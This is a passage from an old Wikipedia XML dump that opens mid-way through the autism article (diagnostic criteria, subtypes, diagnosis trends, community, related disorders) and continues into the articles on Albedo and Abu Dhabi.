###delay in, or total lack of, the development of spoken language (not accompanied by an attempt to compensate through alternative modes of communication such as gesture or mime) 
###in individuals with adequate speech, marked impairment in the ability to initiate or sustain a conversation with others 
###stereotyped and repetitive use of language or idiosyncratic language 
###lack of varied, spontaneous make-believe play or social imitative play appropriate to developmental level
##restricted repetitive and stereotyped patterns of behavior, interests, and activities, as manifested by at least one of the following: 
###encompassing preoccupation with one or more stereotyped and restricted patterns of interest that is abnormal either in intensity or focus 
###apparently inflexible adherence to specific, nonfunctional routines or rituals 
###stereotyped and repetitive motor mannerisms (e.g., hand or finger flapping or twisting, or complex whole-body movements) 
###persistent preoccupation with parts of objects
#Delays or abnormal functioning in at least one of the following areas, with onset prior to age 3 years: (1) social interaction, (2) language as used in social communication, or (3) symbolic or imaginative play. 
#The disturbance is not better accounted for by [[Rett syndrome|Rett's Disorder]] or [[Childhood disintegrative disorder|Childhood Disintegrative Disorder]].

The ''Diagnostic and Statistical Manual''&lt;!-- --&gt;'s diagnostic criteria in general is controversial for being vague and subjective.  (See the [[DSM cautionary statement]].) The criteria for autism is much more controversial and some clinicians today may ignore it completely, instead solely relying on other methods for determining the diagnosis.

== Types of autism == 
Autism presents in a wide degree, from those who are nearly [[dysfunctional]] and apparently [[Developmental Disability|mentally handicapped]] to those whose symptoms are mild or remedied enough to appear unexceptional (&quot;normal&quot;) to the general public. In terms of both classification and therapy, autistic individuals are often divided into those with an [[Intelligence Quotient|IQ]]&amp;lt;80 referred to as having &quot;low-functioning autism&quot; (LFA), while those with IQ&amp;gt;80 are referred to as having &quot;high-functioning autism&quot; (HFA). Low and high functioning are more generally applied to how well an individual can accomplish activities of daily living, rather than to [[IQ]].  The terms low and high functioning are controversial and not all autistics accept these labels.  Further, these two labels are not currently used or accepted in autism literature.

This discrepancy can lead to confusion among service providers who equate IQ with functioning and may refuse to serve high-IQ autistic people who are severely compromised in their ability to perform daily living tasks, or may fail to recognize the intellectual potential of many autistic people who are considered LFA. For example, some professionals refuse to recognize autistics who can speak or write as being autistic at all, because they still think of autism as a communication disorder so severe that no speech or writing is possible.

As a consequence, many &quot;high-functioning&quot; autistic persons, and autistic people with a relatively high [[IQ]], are underdiagnosed, thus making the claim that &quot;autism implies retardation&quot; self-fulfilling. The number of people diagnosed with LFA is not rising quite as sharply as HFA, indicating that at least part of the explanation for the apparent rise is probably better diagnostics.

=== Asperger's and Kanner's syndrome ===
[[Image:Hans Asperger.jpg|thumb|right|160px|Asperger described his patients as &quot;little professors&quot;.]]
In the current [[Diagnostic and Statistical Manual of Mental Disorders]] (DSM-IV-TR), the most significant difference between Autistic Disorder (Kanner's) and Asperger's syndrome is that a diagnosis of the former includes the observation of &quot;[d]elays or abnormal functioning in at least one of the following areas, with onset prior to age 3 years: (1) social interaction, (2) language as used in social communication, or (3) symbolic or imaginative play[,]&quot; {{ref|bnat}} while a diagnosis of Asperger's syndrome observes &quot;no clinically significant delay&quot; in these areas. {{ref|bnas}}

The DSM makes no mention of level of intellectual functioning, but the fact that Asperger's autistics as a group tend to perform better than those with Kanner's autism has produced a popular conception that ''[[Asperger's syndrome]]'' is synonymous with &quot;higher-functioning autism,&quot; or that it is a lesser [[disorder]] than ''autism''.  There is also a popular but not necessarily true conception that all autistic individuals with a high level of intellectual functioning have Asperger's autism or that both types are merely [[geek]]s with a medical label attached. Also, autism has evolved in the public understanding, but the popular identification of autism with relatively severe cases as accurately depicted in ''[[Rain Man]]'' has encouraged relatives of family members diagnosed in the autistic spectrum to speak of their loved ones as having Asperger's syndrome rather than autism.

===Autism as a spectrum disorder===
{{details|Autistic spectrum}}

Another view of these disorders is that they are on a continuum known as [[autistic spectrum]] disorders.  A related continuum is [[Sensory Integration Dysfunction]], which is about how well we integrate the information we receive from our senses.  Autism, Asperger's syndrome, and Sensory Integration Dysfunction are all closely related and overlap.

There are two main manifestations of classical autism, [[regressive autism]] and [[early infantile autism]].  Early infantile autism is present at birth while regressive autism begins before the age of 3 and often around 18 months.  Although this causes some controversy over when the neurological differences involved in autism truly begin, some believe that it is only a matter of when an environmental toxin triggers the disorder. This triggering could occur during gestation due to a toxin that enters the mother's body and is transfered to the fetus. The triggering could also occur after birth during the crucial early nervous system development of the child due to a toxin directly entering the child's body.

== Increase in diagnoses of autism ==
{{details|Autism epidemic}}

[[Image:autismnocgraph.png|right|thumb|400px|The number of reported cases of autism has increased dramatically over the past decade. Statistics in graph from the [[National Center for Health Statistics]].]]
There has been an explosion worldwide in reported cases of autism over the last ten years, which is largely reminiscent of increases in the diagnosis of [[schizophrenia]] and [[multiple personality disorder]] in the twentieth century. This has brought rise to a number of different theories as to the nature of the sudden increase.

Epidemiologists argue that the rise in diagnoses in the United States is partly or entirely attributable to changes in diagnostic criteria, reclassifications, public awareness, and the incentive to receive federally mandated services. A widely cited study from the [[M.I.N.D. Institute]] in California ([[17 October]] [[2002]]), claimed that the increase in autism is real, even after those complicating factors are accounted for (see reference in this section below).

Other researchers remain unconvinced (see references below), including Dr. Chris Johnson, a professor of pediatrics at the University of Texas Health Sciences Center at [[San Antonio]] and cochair of the [[American Academy of Pediatrics]] Autism Expert Panel, who says, &quot;There is a chance we're seeing a true rise, but right now I don't think anybody can answer that question for sure.&quot; ([[Newsweek]] reference below).

The answer to this question has significant ramifications on the direction of research, since a ''real increase'' would focus more attention (and research funding) on the search for environmental factors, while ''little or no real increase'' would focus more attention to genetics. On the other hand, it is conceivable that certain environmental factors (vaccination, diet, societal changes) may have a particular impact on people with a specific genetic constitution. There is little public research on the effects of [[in vitro fertilization]] on the number of incidences of autism.

One of the more popular theories is that there is a connection between &quot;geekdom&quot; and autism.  This is hinted, for instance, by a ''Wired Magazine'' article in 2001 entitled &quot;The [[Geek]] Syndrome&quot;, which is a point argued by many in the autism rights movement{{ref|Wired}}.  This article, many professionals assert, is just one example of the media's application of mental disease labels to what is actually variant normal behavior&amp;mdash;they argue that shyness, lack of athletic ability or social skills, and intellectual interests, even when they seem unusual to others, are not in themselves signs of autism or Asperger's syndrome. Others assert that it is actually the medical profession which is applying mental disease labels to children who in the past would have simply been accepted as a little different or even labeled 'gifted'. See [[clinomorphism]] for further discussion of this issue.

Due to the recent publicity surrounding autism and autistic spectrum disorders, an increasing number of adults are choosing to seek diagnoses of high-functioning autism or Asperger's syndrome in light of symptoms they currently experience or experienced during childhood. Since the cause of autism is thought to be at least partly genetic, a proportion of these adults seek their own diagnosis specifically as follow-up to their children's diagnoses. Because autism falls into the [[pervasive developmental disorder]] category, strictly speaking, symptoms must have been present in a given patient before age seven in order to make a [[differential diagnosis]].

== Therapies ==
{{details|Autism therapies}}

==Sociology==
Due to the complexity of autism, there are many facets of [[sociology]] that need to be considered when discussing it, such as the culture which has evolved from autistic persons connecting and communicating with one another.  In addition, there are several subgroups forming within the autistic community, sometimes in strong opposition to one another.

===Community and politics===
{{details|Autistic community}}
{{details|Autism rights movement}}

Much like many other controversies in the world, the autistic community itself has splintered off into several groups.  Essentially, these groups are those who seek a cure for autism, dubbed ''pro-cure'', those who do not desire a cure for autism and as such resist it, dubbed ''anti-cure'', and the many people caught in the middle of the two.  In recent history, with scientists learning more about autism and possibly coming closer to a cure, some members of the &quot;anti-cure&quot; movement [[Autistic community#Declaration from the autism community|sent a letter to the United Nations]] demanding to be treated as a minority group rather than a group with a [[mental disability]] or disease. Websites such as  autistics.org{{ref|refbot.770}} present the view of the anti-cure group.

There are numerous resources available for autistics from many groups.  Due to the fact that many autistics find it easier to communicate online than in person, many of these resources are available online.  In addition, sometimes successful autistic adults in a local community will help out children with autism, much in the way a master would help out an apprentice, for example.

2002 was declared [[Autism Awareness Year]] in the [[United Kingdom]]&amp;mdash;this idea was initiated by [[Ivan and Charika Corea]], parents of an autistic child, Charin. Autism Awareness Year was led by the [[British Institute of Brain Injured Children]],  [[Disabilities Trust]],  [[National Autistic Society]],  [[Autism London]] and 800 organizations in the United Kingdom. It had the personal backing of [[United Kingdom|British]] Prime Minister  [[Tony Blair]] and parliamentarians of all parties in the [[Palace of Westminster]].

===Culture===
{{details|Autistic culture}}
With the recent increases in autism recognition and new approaches to educating and socializing autistics, an ''autistic culture'' has begun to develop.  Similar to [[deaf culture]], autistic culture is based in a belief that autism is a unique way of being and not a disorder to be cured.  There are some commonalities which are specific to autism in general as a culture, not just &quot;autistic culture&quot;.

It is a common misperception that people with autism do not marry; many do get married.  Often, they marry another person with autism, although this is not always the case.  Many times autistics are attracted to other autistics due to shared interests or obsessions, but more often than not the attraction is due to simple compatibility with personality types, the same as is true for non-autistics. Autistics who communicate have explained that companionship is as important to autistics as it is to anyone else. Multigenerational autistic families have also recently become a bit more common.

The interests of autistic people and so-called &quot;[[geeks]]&quot; or &quot;[[Nerd|nerds]]&quot; can often overlap as autistic people can sometimes become preoccupied with certain subjects, much like the variant normal behavior geeks experience.  However, in practice many autistic people have difficulty with working in groups, which impairs them even in the most &quot;technical&quot; of situations.

===Autistic adults===
[[image:Grandin2.jpg|thumb|right|[[Temple Grandin]], one of the more successful adults with autism. 
&lt;small&gt;Photograph courtesy  Joshua Nathaniel Pritikin and William Lawrence Jarrold.&lt;/small&gt;]]

Some autistic adults are able to work successfully in mainstream jobs, usually those with high-functioning autism or Asperger's syndrome. Nevertheless, communication and social problems often cause difficulties in many areas of the autistic's life. Other autistics are capable of employment in sheltered workshops under the supervision of managers trained in working with persons with disabilities. A nurturing environment at home, at school, and later in job training and at work, helps autistic people continue to learn and to develop throughout their lives. Some argue that the internet allows autistic individuals to communicate and form online communities, in addition to being able to find occupations such as independent consulting, which does generally not require much human interaction offline.

In the [[United States]], the public schools' responsibility for providing services ends when the autistic person is in their 20s, depending on each state. The family is then faced with the challenge of finding living arrangements and employment to match the particular needs of their adult child, as well as the programs and facilities that can provide support services to achieve these goals.

=== Autistic savants ===
{{Main|autistic savant}}
The autistic savant phenomenon is sometimes seen in autistic people. The term is used to describe a person who is autistic and has extreme talent in a certain area of study.  Although there is a common association between savants and autism (an association created by the 1988 film ''[[Rain Man]]''), most autistic people are not [[savants]]. [[Mental calculator]]s and fast [[programming]] skills are the most common form. The famous example is [[Daniel Tammet]], the subject of the [[documentary film]] ''[[The Brain Man]]'' {{ref|guardianbrainman}} ([[Kim Peek]], one of the inspirations for [[Dustin Hoffman]]'s character in the film ''[[Rain Man]]'', is not autistic). &quot;Bright Splinters of the Mind&quot; is a book that explores this issue further.

== Other pervasive developmental disorders ==
Autism and Asperger's syndrome are just two of the five pervasive developmental disorders (PDDs). The three other pervasive developmental disorders are [[Rett syndrome]], [[Childhood disintegrative disorder]], and [[PDD not otherwise specified|Pervasive developmental disorder not otherwise specified]]. Some of these are related to autism, while some of them are entirely separate conditions.

=== Rett syndrome ===
[[Rett syndrome]] is relatively rare, affecting almost exclusively females, one out of 10,000 to 15,000. After a period of normal development, sometime between 6 and 18 months, autism-like symptoms begin to appear. The little girl's mental and social development regresses; she no longer responds to her parents and pulls away from any social contact. If she has been talking, she stops; she cannot control her feet; she wrings her hands. Some of these early symptoms may be confused for autism. Some of the problems associated with Rett syndrome can be treated. [[Physical therapy|Physical]], [[Occupational therapy|occupational]], and [[Speech therapy|speech]] therapy can help with problems of coordination, movement, and [[speech]].

Scientists sponsored by the National Institute of Child Health and Human Development have discovered that a mutation in the sequence of a single gene causes Rett syndrome, and can physically test for it with a 80% accuracy rate {{ref|nihrett}}. Rett syndrome in the past was sometimes classified as an autistic spectrum disorder, however most scientists agree that Rett syndrome is a separate developmental disorder and not part of the autistic spectrum {{ref|brighttotsrett}}.

===Childhood disintegrative disorder===
[[Childhood disintegrative disorder]] (CDD, and sometimes abbreviated as CHDD also) is a condition appearing in 3 or 4 year old children who have developed normally until age 2. Over several months, the child will deteriorate in intellectual, social, and language functioning from previously normal behaviour.  This long period of normal development before regression helps differentiate CDD from Rett syndrome (and in fact it must be differentiated from autism in testing). The cause for CDD is unknown (thus it may be a spectrum disorder) but current evidence suggests it has something to do with the central nervous system {{ref|yalecdd}} {{ref|nihcdd}}.

===  Pervasive developmental disorder not otherwise specified ===
[[PDD not otherwise specified|Pervasive developmental disorder not otherwise specified]], or PDD-NOS, is referred to as a ''subthreshold'' condition because it is a classification which is given to someone who suffers from impairments in social interaction, communication, and/or stereotyped behaviour but does not meet the criteria for one of the other four pervasive developmental disorders. Unlike the other four pervasive developmental disorders, PDD-NOS has no specific guidelines for diagnosis, so the person may have a lot of characteristics of an autistic person, or few to none at all. Note that pervasive developmental disorder is not a diagnosis, just a term to refer to the five mentioned conditions, while PDD-NOS is an official diagnosis {{ref|yalepddnos}}.

==See also==
* '''General'''
:* [[Autism therapies]]
:* [[Causes of autism]]
:* [[Conditions comorbid to autism spectrum disorders]]
:* [[Early Childhood Autism]]
:* [[Heritability of autism]]

* '''Groups'''
:* [[Aspies For Freedom]]
:* [[National Alliance for Autism Research]]

* '''Controversy'''
:* [[Controversies about functioning labels in the autism spectrum]]
:* [[Controversies in autism]]
:* [[Ethical challenges to autism treatment]]

* '''Lists'''
:* [[List of autism-related topics]]
:* [[List of fictional characters on the autistic spectrum]]
:* [[List of autistic people]]

==References==
* {{cite web | author= | title=Rett syndrome (NIH Publication No. 01-4960) | publisher=Rockville, MD: National Institute of Child Health and Human Development | year=2001 | work=Rett syndrome | url=http://www.nichd.nih.gov/publications/pubskey.cfm?from=autism | accessdate=July 30 | accessyear= 2005 }}
* {{cite journal | author=Frombonne E. | title=Prevalence of childhood disintegrative disorder | journal=Autism | year=2002 | volume=6 | issue=2 | pages=149-157}}
* {{cite journal | author=Volkmar RM and Rutter M. | title=Childhood disintegrative disorder: Results of the DSM-IV autism field trial | journal=Journal of the American Academy of Child and Adolescent Psychiatry | year=1995 | volume=34 | pages=1092-1095}}
* {{Citenewsauthor | surname=Ewald | given=Paul | title=Plague Time | date=April 2001 | org=Popular Science | url=http://www.centurytel.net/tjs11/bug/ewald1.htm}}
* {{cite web | title=PANDAS (Paediatric Autoimmune Neuropsychiatric Disorders Associated with Streptococci) and PITAND (Paediatric Infection-triggered Autoimmune Neuropsychiatric Disorders) | work=PANDAS &amp; PITAND Syndromes | url=http://www.webpediatrics.com/pandas.html | accessdate=July 30 | accessyear=2005 }}
* {{cite web | title=Closer to Truth: PBS, with Paul Ewald | work=Microbes -- Friend or Foe? | url=http://www.pbs.org/kcet/closertotruth/explore/show_05.html | accessdate=July 30 | accessyear=2005 }}
* {{cite web | title=M.I.N.D. Institute Study Confirms Autism Increase | work=U.C. Davis| url=http://www.ucdmc.ucdavis.edu/news/MINDepi_study.html | accessdate=March 6| accessyear=2005 }}
* {{Citenews | surname=Stenson | given=Jacqueline | title=As autism cases soar, a search for clues | date=[[24 February]] [[2005]] | org=Newsweek | url=http://www.msnbc.msn.com/id/6947652/}}
* {{Citenews | surname=Goode | given=Erica | title=Autism Statistics: More and More Autism Cases | date=[[26 January]] [[2004]] | org=New York Times | url=http://www.autisticsociety.org/article262.html}}
* {{cite journal | author=Wing L, Potter D. | title=The epidemiology of autistic spectrum disorders: is the prevalence rising? | journal=Mental Retardation and Developmental Disabilities Research Reviews | volume=8 | issue=3 | year=2002 | pages=151&amp;#8211;61}} ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12216059&amp;dopt=Abstract abstract])
* {{cite journal | author=Croen LA, Grether JK, Hoogstrate J, Selvin S. | title=The changing prevalence of autism in California | journal=Journal of Autism and Developmental Disorders| volume=32| issue=3 | year=2002 Jun | pages=207-15}} ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;dopt=Abstract&amp;list_uids=12108622 abstract])
* Manev R, Manev H. Aminoglycoside antibiotics and autism: a speculative hypothesis. BMC Psychiatry. 2001;1:5. Epub 2001 [[10 October]].[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11696245&amp;query_hl=60]
* Strock, Margaret (2004). Autism Spectrum Disorders (Pervasive Developmental Disorders). NIH Publication No. NIH-04-5511, National Institute of Mental Health, National Institutes of Health, U.S. Department of Health and Human Services, Bethesda, MD, 40 pp. http://www.nimh.nih.gov/publicat/autism.cfm

==Footnotes==
# {{note|NihAutismov2005}} {{cite web | title=NIH Autism Overview 2005 | url=http://www.nichd.nih.gov/publications/pubs/autism_overview_2005.pdf | accessdate=February 5 | accessyear=2006 }}
# {{note|bnat}} {{cite web | title=BehaveNet autism description | url=http://www.behavenet.com/capsules/disorders/autistic.htm | accessdate=July 30 | accessyear=2005 }}
# {{note|bnas}} {{cite web | title=BehaveNet aspergers description | url=http://www.behavenet.com/capsules/disorders/asperger.htm | accessdate=July 30 | accessyear=2005 }}
# {{note|Wired}} {{Citenewsauthor | surname=Silberman | given=Steve | title=The Geek Syndrome | date=December 2001 | org=Wired | url=http://www.wired.com/wired/archive/9.12/aspergers_pr.html}}
# {{note|refbot.770}} {{cite web | title=autistics.org: The REAL Voice of Autism (See above) | url=http://www.autistics.org | accessdate=December 11 | accessyear=2005 }}
# {{note|guardianbrainman}} {{cite web | title=Guardian &quot;Brain Man&quot; article | url=http://www.guardian.co.uk/weekend/story/0,3605,1409903,00.html | accessdate=July 30 | accessyear=2005 }}
# {{note|nihrett}} {{cite web | title=NIH Rett description | url=http://www.ninds.nih.gov/disorders/rett/detail_rett.htm | accessdate=July 30 | accessyear=2005 }}
# {{note|brighttotsrett}} {{cite web | title=Bright Tots Rett description | url=http://www.brighttots.com/Rett_Syndrome.html | accessdate=July 30 | accessyear=2005 }}
# {{note|yalecdd}} {{cite web | title=Yale CDD description | url=http://info.med.yale.edu/chldstdy/autism/cdd.html | accessdate=July 30 | accessyear=2005 }}
# {{note|nihcdd}} {{cite web | title=NIH CDD description | url=http://www.nlm.nih.gov/medlineplus/ency/article/001535.html | accessdate=July 30 | accessyear=2005 }}
# {{note|yalepddnos}} {{cite web | title=PDD-NOS at Yale | url=http://info.med.yale.edu/chldstdy/autism/pddnos.html | accessdate=August 22 | accessyear=2005 }}

==External links==
* '''General'''
:[http://www.wrongplanet.net WrongPlanet.net - The Community and Resource for Autism]
: [http://www.autism-spectrum-disorder.com Autism-Spectrum-Disorder.com] - Autism Spectrum  Disorder
: [http://www.colour-se7en.co.uk Colour-se7en]- a website created to bring awareness of spectrum related disorders and forums for NT and ASD interaction.
: [http://www.ericdigests.org/2000-3/autism.htm EricDigests.org] - 'Teaching Students with Autism', Glen Dunlap, Lise Fox, ERIC Digest (October, 1999)
: [http://observer.guardian.co.uk/magazine/story/0,11913,1639392,00.html Autistic and Proud] Describes new discoveries about autism, autistics speaking for themselves.
: [http://www.weirdnotstupid.com Weird Not Stupid] - A website created from the perspective of a person who has two siblings who are on the Autism Spectrum with the goal of giving information to anybody who is seeking it.
* ''Blogs''
: [http://autism.about.com/ Autism/Pervasive Developmental Disorders] By Adelle Jameson Tilton, [[About.com]]
: [http://aboutautism.blogspot.com/ Autism News and More]
: [http://www.adventuresinautism.blogspot.com/ Adventures In Autism] By a health professional who is the mother of an autistic boy.
: [http://www.autismsymptoms.blogspot.com Autism Symptoms] 
: [http://www.gettingthetruthout.org Getting The Truth Out] By Argues that there are common misconceptions about autism.
: [http://www.autismtreatment.info/reality+aba.aspx?rssid=1 Reality ABA, An Autism Diary] By Katherine Lee, mother of an autistic son.
* ''Organizations''
:* [http://www.onthespectrum.com On The Spectrum] A web community for those on the autism spectrum with an emphasis on support and advocacy
: [http://www.autismwebsite.com/ari/index.htm autismwebsite.com Autism Research Institute] Clearinghouse for information relating to autism, particularly the biomedical treatment approach
: [http://www.autism-society.org/site/PageServer Autism-Society.org] - [[Autism Society of America]]
: [http://www.autistics.org autistics.org] - Clearinghouse for information related to autism, from a non-cure standpoint. Many articles by autistics.
: [http://www.autism.org/contents.html Center for the Study of Autism], Autism Research Institute (founded by [[Bernard Rimland]])
* ''Resources''
: [http://www.geocities.com/growingjoel/index.html A Way Of Life] Resources and information for parents.
:[http://www.autismtreatment.info Autism Treatment Info] Treatment Tips for Children with Autism, PDD &amp; Asperger's Syndrome.
: [http://rsaffran.tripod.com/aba.html ABA Resources for Recovery from Autism] - Information about and resource guide for behavioral intervention for autism
: [http://www.autism-resources.com/ Autism-Resources.com] - Offering information and links regarding the developmental disabilities autism and Asperger's Syndrome.
: [http://www.autismtalk.net Autism Talk] Parents &amp; educators discuss all views.
: [http://www.autismtoday.com/ AutismToday.com] - 'everything you need to know about autism', Autism Today
: [http://www.teachers.tv/autism Focus on Autism] Selection of documentaries, interviews, etc.
: [http://www.info.autism.org.uk/ Autism.org.uk] - 'PARIS: Public Autism Resource &amp; Information Service' (directory of UK autism services)
: [http://glennrowe.net/BaronCohen/AutismSpectrumQuotient/AutismSpectrumQuotient.aspx Autism Spectrum Quotient] - Measure Your Autism Spectrum Quotient
: [http://www.rdos.net/eng/Aspie-quiz.php Aspie-quiz] - Quiz that measures autistic traits

{{Pervasive developmental disorders}}

{{featured article}}

[[Category:Autism]]
[[Category:Childhood psychiatric disorders]]
[[Category:Disability]]
[[Category:Communication disorders]]
[[Category:Mental illness diagnosis by DSM and ISCDRHP]]
[[Category:Neurological disorders]]

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    <title>AlchemY</title>
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  <page>
    <title>Albedo</title>
    <id>39</id>
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      <id>41496222</id>
      <timestamp>2006-02-27T19:32:46Z</timestamp>
      <contributor>
        <ip>24.119.3.44</ip>
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      <text xml:space="preserve">{{otheruses}}

'''Albedo''' is the measure of [[reflectivity]] of a surface or body. It is the ratio of [[electromagnetic radiation]] (EM radiation) reflected to the amount incident upon it. The fraction, usually expressed as a percentage from 0% to 100%, is an important concept in [[climatology]] and [[astronomy]]. This ratio depends on the [[frequency]] of the radiation considered: unqualified, it refers to an average across the spectrum of [[visible light]]. It also depends on the [[angle of incidence]] of the radiation: unqualified, normal incidence. Fresh snow albedos are high: up to 90%. The ocean surface has a low albedo.  The average albedo of [[Earth]] is about 30% whereas the albedo of the [[Moon]] is about 7%. In astronomy, the albedo of satellites and asteroids can be used to infer surface composition, most notably ice content.    [[Enceladus_(moon)|Enceladus]], a moon of Saturn, has the highest known albedo of any body in the solar system, with 99% of EM radiation reflected.

Human activities have changed the albedo (via forest clearance and farming, for example) of various areas around the globe. However, quantification of this effect is difficult on the global scale: it is not clear whether the changes have tended to increase or decrease [[global warming]].

The &quot;classical&quot; example of albedo effect is the snow-temperature feedback. If a snow covered area warms and the snow melts, the albedo decreases, more sunlight is absorbed, and the temperature tends to increase. The converse is true: if snow forms, a cooling cycle happens. The intensity of the albedo effect depends on the size of the change in albedo and the amount of [[insolation]]; for this reason it can be potentially very large in the tropics.

== Some examples of albedo effects ==

=== Fairbanks, Alaska ===

According to the [[National Climatic Data Center]]'s GHCN 2 data, which is composed of 30-year smoothed climatic means for thousands of weather stations across the world, the college weather station at [[Fairbanks]], [[Alaska]], is about 3 °C (5 °F) warmer than the airport at Fairbanks, partly because of drainage patterns but also largely because of the lower albedo at the college resulting from a higher concentration of [[pine]] [[tree]]s and therefore less open snowy ground to reflect the heat back into space. Neunke and Kukla have shown that this difference is especially marked during the late [[winter]] months, when [[solar radiation]] is greater.

=== The tropics ===

Although the albedo-temperature effect is most famous in colder regions of Earth, because more [[snow]] falls there, it is actually much stronger in tropical regions because in the tropics there is consistently more sunlight. When [[Brazil]]ian ranchers cut down dark, tropical [[rainforest]] trees to replace them with even darker soil in order to grow crops, the average temperature of the area appears to increase by an average of about 3 °C (5 °F) year-round, which is a significant amount.

=== Small scale effects ===

Albedo works on a smaller scale, too. People who wear dark clothes in the summertime put themselves at a greater risk of [[heatstroke]] than those who wear white clothes. 

=== Pine forests ===

The albedo of a [[pine]] forest at 45°N in the winter in which the trees cover the land surface completely is only about 9%, among the lowest of any naturally occurring land environment. This is partly due to the color of the pines, and partly due to multiple scattering of sunlight within the trees which lowers the overall reflected light level. Due to light penetration, the ocean's albedo is even lower at about 3.5%, though this depends strongly on the angle of the incident radiation. Dense [[swamp]]land averages between 9% and 14%. [[Deciduous tree]]s average about 13%. A [[grass]]y field usually comes in at about 20%. A barren field will depend on the color of the soil, and can be as low as 5% or as high as 40%, with 15% being about the average for farmland. A [[desert]] or large [[beach]] usually averages around 25% but varies depending on the color of the sand. [Reference: Edward Walker's study in the Great Plains in the winter around 45°N].

=== Urban areas ===

Urban areas in particular have very unnatural values for albedo because of the many human-built structures which absorb light before the light can reach the surface. In the northern part of the world, cities are relatively dark, and Walker has shown that their average albedo is about 7%, with only a slight increase during the summer. In most tropical countries, cities average around 12%. This is similar to the values found in northern suburban transitional zones. Part of the reason for this is the different natural environment of cities in tropical regions, e.g., there are more very dark trees around; another reason is that portions of the tropics are very poor, and city buildings must be built with different materials. Warmer regions may also choose lighter colored building materials so the structures will remain cooler.

=== Trees ===

Because trees tend to have a low albedo, removing forests would tend to increase albedo and thereby cool the planet. Cloud feedbacks further complicate the issue. In seasonally snow-covered zones, winter albedos of treeless areas are 10% to 50% higher than nearby forested areas because snow does not cover the trees as readily.

Studies by the [[Hadley Centre]] have investigated the relative (generally warming) effect of albedo change and (cooling) effect of [[carbon sequestration]] on planting forests. They found that new forests in tropical and midlatitude areas tended to cool; new forests in high latitudes (e.g. Siberia) were neutral or perhaps warming [http://66.102.11.104/search?q=cache:o7LD-owSkNgJ:www.ulapland.fi/home/arktinen/feed_pdf/Betts_revised.pdf+hadley+albedo+forest&amp;hl=en].

=== Snow ===

Snow albedos can be as high as 90%. This is for the ideal example, however: fresh deep snow over a featureless landscape. Over [[Antarctica]] they average a little more than 80%.

If a marginally snow-covered area warms, snow tends to melt, lowering the albedo, and hence leading to more snowmelt (the ice-albedo [[feedback]]). This is the basis for predictions of enhanced warming in the polar and seasonally snow covered regions as a result of [[global warming]].

=== Clouds ===

Clouds are another source of albedo that play into the global warming equation. Different types of clouds have different albedo values, theoretically ranging from a minimum of near 0% to a maximum in the high 70s. [[Climate model]]s have shown that if the whole Earth were to be suddenly covered by white clouds, the surface temperatures would drop to a value of about -150 °C (-240 °F). This model, though it is far from perfect, also predicts that to offset a 5 °C (9 °F) temperature change due to an increase in the magnitude of the [[greenhouse effect]], &quot;all&quot; we would need to do is increase the Earth's overall albedo by about 12% by adding more white clouds.

Albedo and climate in some areas are already affected by artificial clouds, such as those created by the [[contrail]]s of heavy commercial airliner traffic. A study following the [[September 11, 2001 attacks|September 11 attacks]], after which all major airlines in the U.S. shut down for three days, showed a local 1 &amp;deg;C increase in the daily temperature range (the difference of day and night temperatures) (''see: [[contrail]]'').

=== Aerosol effects ===

[[Particulate|Aerosol]] (very fine particles/droplets in the atmosphere) has two effects, direct and indirect. The direct (albedo) effect is generally to cool the planet; the indirect effect (the particles act as [[Cloud condensation nuclei|CCN]]s and thereby change [[cloud properties]]) is less certain [http://www.grida.no/climate/ipcc_tar/wg1/231.htm#671].

=== Black carbon ===

Another albedo-related effect on the climate is from black carbon particles. The size of this effect is difficult to quantify: the [[IPCC]] say that their &quot;estimate of the global mean radiative forcing for BC aerosols from fossil fuels is ... +0.2 W m&lt;sup&gt;-2&lt;/sup&gt; (from +0.1 W m&lt;sup&gt;-2&lt;/sup&gt; in the [[SAR_(IPCC)|SAR)]]) with a range +0.1 to +0.4 W m&lt;sup&gt;-2&lt;/sup&gt;&quot;. [http://www.grida.no/climate/ipcc_tar/wg1/233.htm].

[[Category:Electromagnetic radiation]]
[[Category:Climatology]]
[[Category:Climate forcing]]
[[Category:Astrophysics]]

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    <title>ArtificalLanguages</title>
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  <page>
    <title>Abu Dhabi</title>
    <id>43</id>
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        <username>El C</username>
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      <comment>Reverted edits by [[Special:Contributions/71.193.1.105|71.193.1.105]] ([[User talk:71.193.1.105|talk]]) to last version by Bloodshedder</comment>
      <text xml:space="preserve">[[Image:AbuDhabi02.JPG|thumb|View of Abu Dhabi|right|300px]]
[[Image:Abu Dhabi from Space-ISS006-E-32079-March 2003.JPG|thumb|right|300px|Satellite image of Abu Dhabi (March 2003)]]
[[Image:Emirates_Palace_Hotel_Abu_Dhabi_front.jpg|thumb|Emirates Palace Hotel Front|right|300px]]
[[Image:Emirates_Palace_Hotel_Abu_Dhabi_side.jpg|thumb|Emirates Palace Hotel from the side|right|300px]]
'''Abu Dhabi''' ([[Arabic language|Arabic]]: &amp;#1571;&amp;#1576;&amp;#1608; &amp;#1592;&amp;#1576;&amp;#1610; ''&amp;#700;Ab&amp;#363; &amp;#7826;aby'') is the largest of the seven [[emirate]]s that comprise the [[United Arab Emirates]] and was also the largest of the former [[Trucial States]]. '''Abu Dhabi''' is also a city of the same name within the Emirate that is the [[capital city|capital]] of the country, in north central UAE.  The city lies on a T-shaped island jutting into the [[Persian Gulf]] from the central western coast. An estimated 1,000,000 lived there in 2000, with about an 80% [[expatriate]] population. Abu Dhabi city is located at {{coor d|24.4667|N|54.3667|E}}. [[Al Ain]] is Abu Dhabi's second largest urban area with a population of 348,000 ([[2003]] census estimate) and is located 150 kilometres inland.
 
==History==
Parts of Abu Dhabi were settled as far back as the [[3rd millennium BC]] and its early history fits the nomadic, herding and fishing pattern typical of the broader region. Modern Abu Dhabi traces its origins to the rise of an important tribal confederation the Bani Yas in the late 18th century, who also assumed control of [[Dubai]]. In the 19th century the Dubai and Abu Dhabi branches parted ways.

Into the mid-20th century, the economy of Abu Dhabi continued to be sustained mainly by camel herding, production of dates and vegetables at the inland oases of [[Al Ain]] and Liwa, and fishing and pearl diving off the coast of Abu Dhabi city, which was occupied mainly during the summer months.  Most dwellings in Abu Dhabi city were, at this time constructed of palm fronds (barasti), with the better-off families occupying mud huts.  The growth of the cultured pearl industry in the first half of the 20th century created hardship for residents of Abu Dhabi as pearls represented the largest export and main source of cash earnings.  

